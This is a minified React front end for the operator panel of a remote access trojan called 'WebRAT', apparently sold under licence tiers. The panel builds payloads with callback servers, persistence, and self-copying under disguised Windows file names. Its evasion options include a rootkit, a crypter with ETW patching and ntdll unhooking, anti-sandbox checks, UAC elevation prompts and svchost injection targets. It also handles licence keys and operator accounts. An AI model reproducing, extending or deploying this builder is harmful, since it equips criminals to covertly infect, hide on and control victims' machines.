r6(Q),X6(),Ae()}catch(he){he instanceof bi?ay(he.message):ay("Failed to build payload")}}async function fe(H){const se=st();if(!se){p("Not authenticated");return}try{const W=await fetch(`/api/payloads/${H.payload_id}/download`,{headers:{Authorization:`Bearer ${se}`}});if(!W.ok){p("Download failed");return}const Q=await W.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=W.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${H.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(H){try{await s6(H),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl f
|
|||
|
|
text-sm font-medium px-4 py-2 transition-all duration-150
|
|||
|
|
${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"}
|
|||
|
|
`,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:$,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:H=>b(H.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:R,onChange:H=>{const se=H.target.value;K(se),se==="exe"&&M(W=>W&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-sans\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:H=>k(H.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200\r
|
|||
|
|
[appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${z}%)`,children:a.jsx("input",{type:"range",value:z,onChange:H=>S(H.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r
|
|||
|
|
[&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r
|
|||
|
|
[&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r
|
|||
|
|
[&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r
|
|||
|
|
[&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:O,onChange:H=>A(H.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-sans\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200\r
|
|||
|
|
[color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:T,onChange:H=>P(H.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((H,se)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:H,onChange:W=>{const Q=[...w];Q[se]=W.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((W,Q)=>Q!==se)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},se)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:bV.map(H=>{const se=H.dllOnly&&R==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors
|
|||
|
|
${se?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(_&H.flag)!==0,disabled:se,onChange:W=>{M(W.target.checked?_|H.flag:_&~H.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:H.label}),H.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),se&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},H.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:q,onChange:H=>te(parseInt(H.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-sans\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:H=>Y(H.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:H=>B(H.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:F,onChange:H=>U(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:V,onChange:H=>Z(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1
|
|||
|
|
${V?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:ae,disabled:!V,onChange:H=>ue(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:H=>ye(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>G(!D),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer
|
|||
|
|
${D?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200
|
|||
|
|
${D?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r
|
|||
|
|
px-5 py-2 transition-all duration-150\r
|
|||
|
|
disabled:opacity-50 disabled:cursor-not-allowed\r
|
|||
|
|
flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(Kb.filter(H=>H.at<=l).pop()??Kb[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(H=>{let se={};try{se=JSON.parse(H.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py
|
|||
|
|
hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
|
|||
|
|
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r
|
|||
|
|
focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
|
|||
|
|
text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r
|
|||
|
|
hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r
|
|||
|
|
text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Yb,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r
|
|||
|
|
hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r
|
|||
|
|
hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r
|
|||
|
|
hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:ae,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(MV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Yb,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Mm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{T(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r
|
|||
|
|
hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{_(C),F(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r
|
|||
|
|
hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:A.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
|
|||
|
|
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:G,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r
|
|||
|
|
hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:G?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),K&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>_(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:K.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>F("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>F("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:q,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r
|
|||
|
|
hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:U?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>_(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}const qb=[{at:0,msg:"Initializing encryption engine..."},{at:8,msg:"Generating random XOR key (256-bit)..."},{at:14,msg:"Deriving AES-256-CBC session key via PBKDF2..."},{at:20,msg:"Parsing PE headers... IMAGE_NT_SIGNATURE OK"},{at:28,msg:"Mapping sections: .text .rdata .data .rsrc .reloc"},{at:38,msg:"Encrypting payload sections (XOR pass)..."},{at:48,msg:"Encrypting payload sections (AES pass)..."},{at:55,msg:"Building injection stub..."},{at:62,msg:"Patching entry point → stub trampoline"},{at:70,msg:"Applying evasion layers..."},{at:78,msg:"Compiling output binary..."},{at:85,msg:"Stripping debug symbols & Rich header"},{at:92,msg:"Obfuscating PE metadata (timestamp, linker)"},{at:98,msg:"Validating output integrity... SHA-256 OK"}],IV=[{path:"C:\\Windows\\System32\\svchost.exe",label:"svchost.exe",desc:"Service host (recommended)"},{path:"C:\\Windows\\System32\\RuntimeBroker.exe",label:"RuntimeBroker.exe",desc:"UWP broker"},{path:"C:\\Windows\\System32\\dllhost.exe",label:"dllhost.exe",desc:"COM 